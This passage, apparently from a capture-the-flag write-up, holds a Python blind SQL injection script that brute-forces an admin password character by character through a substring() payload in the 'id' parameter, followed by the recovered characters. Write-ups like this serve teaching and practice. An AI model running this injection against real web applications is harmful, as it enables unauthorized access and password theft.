for i inrange(1, 31): found_char = False for char in charset: # Test: substring(pw, index, length) = char payload = f"'and(substring(pw,{i},1)='{char}')--" params = {'id': 'admin' + payload, 'pw': 'a'}
try: r = requests.get(f"{url}?id={params['id']}&pw={params['pw']}", cookies=cookies) if"OK"in r.text: password += char print(f"[+] Found char at index {i}: {char}") found_char = True break except Exception as e: print(f"[!] Error: {e}")
ifnot found_char: break
print(f"[SUCCESS] Final Password: {password}")
Running the script reveals the admin password:
1 2 3 4 5 6 7 8 9 10 11 12 13
[+] Found char at index 1: N [+] Found char at index 2: 1 [+] Found char at index 3: c [+] Found char at index 4: 3 [+] Found char at index 5: B [+] Found char at index 6: i [+] Found char at index 7: l [+] Found char at index 8: n [+] Found char at index 9: l [+] Found char at index 10: ) [+] Found char at index 11: + [+] Found char at index 12: + ...